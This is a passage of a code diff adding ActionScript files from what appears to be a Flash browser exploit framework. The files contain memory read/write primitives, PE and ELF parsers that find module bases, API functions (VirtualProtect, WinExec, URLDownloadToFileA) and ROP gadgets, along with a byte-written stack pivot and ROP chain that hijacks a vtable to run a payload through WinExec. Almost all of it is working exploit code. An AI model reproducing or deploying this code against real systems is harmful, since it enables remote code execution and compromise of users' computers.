// Because of the sandbox, when you try to solve kernel32
|
||||
// from the flash imports on IE, it will solve ieshims.dll
|
||||
var ieshims:uint = module("kernel32.dll", flash)
|
||||
//log("ieshims: " + ieshims.toString(16));
|
||||
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
//log("kernel32: " + kernel32.toString(16));
|
||||
|
||||
var ntdll:uint = module("ntdll.dll", kernel32)
|
||||
//log("ntdll: " + ntdll.toString(16));
|
||||
|
||||
var urlmon:uint = module("urlmon.dll", flash)
|
||||
//log("urlmon: " + urlmon.toString(16));
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
//log("virtualprotect: " + virtualprotect.toString(16));
|
||||
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
//log("winexec: " + winexec.toString(16));
|
||||
|
||||
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
|
||||
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
|
||||
|
||||
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
|
||||
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
|
||||
|
||||
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
|
||||
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
|
||||
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
|
||||
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
|
||||
|
||||
// CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,72 @@
|
|||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var contents:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
|
||||
for (var i:uint = 0; i < limit - 4; i++) {
|
||||
contents = eba.read(addr + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return addr + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue